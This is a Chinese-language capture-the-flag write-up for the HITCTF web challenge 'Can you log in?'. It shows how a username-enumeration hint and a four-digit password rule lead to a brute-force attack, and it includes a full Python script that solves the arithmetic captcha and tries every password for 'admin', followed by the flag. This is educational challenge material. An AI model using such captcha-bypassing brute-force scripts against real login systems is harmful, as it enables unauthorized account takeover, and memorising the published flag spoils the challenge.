[HITCTF](WEB)你能登陆吗?

题目链接：
http://ctf.hit.edu.cn:3005/

---

分析：
1.打开题目提供页面

Paste_Image.png

2.发现需要用户名和密码以及验证码,并且给了一个注册的链接
3.查看原代码,并没有发现异常

Paste_Image.png

4.尝试随便输入用户名和密码,计算并输入验证码,点击登录

Paste_Image.png

Paste_Image.png

5.发现不能登陆,而且验证码会每次都会改变
6.想到注册一个用户来进行登陆
7.随便输入
i.账号:aaa
ii.密码:aaa
8.提示为:”密码太长太难我们怕你记不住，只需4位数字”,如下图:

Paste_Image.png

9.密码只能是4位数...这是不是给了我们暴力破解的余地呢?
10.上次讲座中,张琦学长讲到可以利用注册来获取已经注册的用户名
11.尝试使用默认密码”admin”进行注册,发现提示为:”不要重复注册！！！！”如下图:

Paste_Image.png

12.思路有了,现在只需要获取并计算验证码,然后对http://ctf.hit.edu.cn:3005发送post请求,其中用户名为”admin”密码使用从0000-9999这一万种组合即可
13.通过浏览器的”检查”功能获得请求数据数据格式,如下图:

Paste_Image.png

14.现在问题在于如何获得验证码
15.在登陆页面中,多次刷新页面,以用于找出验证码的规律,发现验证码为一个算式,并且大部分情况下两个运算符都是二位数,而且运算符多为’+’和’*’
16.想到使用python脚本进行暴力破解
17.直接贴上python脚本

import requests
import urllib
import urllib2
import string
url = "http://ctf.hit.edu.cn:3005"
fileHandle=open ('result.txt','a')
#遍历所有密码
for i in range(0,9999):
    req = requests.session()
    file = req.get(url)
    html = file.content
    ss = html[805:810]
    ss = ss.strip()
    #判断运算为加法
    if "+" in ss:
        s1 = ss.split("+")[0]
        s2 = ss.split("+")[1]
        n1 = string.atoi(s1,10)
        n2 = string.atoi(s2,10)
        result = n1 + n2
    #判断运算为乘法
    if "*" in ss:
        s1 = ss.split("*")[0]
        s2 = ss.split("*")[1]
        n1 = string.atoi(s1,10)
        n2 = string.atoi(s2,10)
        result = n1 * n2
    password = "%d" %i
    #小于四位数,前面补0
    if i < 1000 and i > 99 :
        password = "0" + password
    if i < 100 and i > 9 :
        password = "00" + password
    if i < 10 :
        password = "000" + password
    #数据对象
    data = {}
    data['username'] = "admin"
    data['password'] = password 
    data['captcha'] = result
    data['PHPSESSID'] = "c24pd2aei5854r3b9n7qb4lpu5"
    #发送post请求
    file2 = req.post(url,data)
    #输出日志
    print i
    print " --- "
    print "The password is = " + password + ", The result is " + file2.content[-45:]
    #写日志文件
    fileHandle.write("The password is = " + password)
    fileHandle.write(", The result is " + file2.content[-45:])
fileHandle.close

18.运行,直接从本地保存的文件(获取的结果html页面的内容)中,然后进行对其进行字符串查询得到flag.

Paste_Image.png

Paste_Image.png

---

答案：
hitctf{I_Wi1l_iMpr0_M4_pw}

---

知识点：
1.HTML基本语法
2.POST请求
3.利用浏览器进行抓包
4.Python基本语法
5.Python模拟Post请求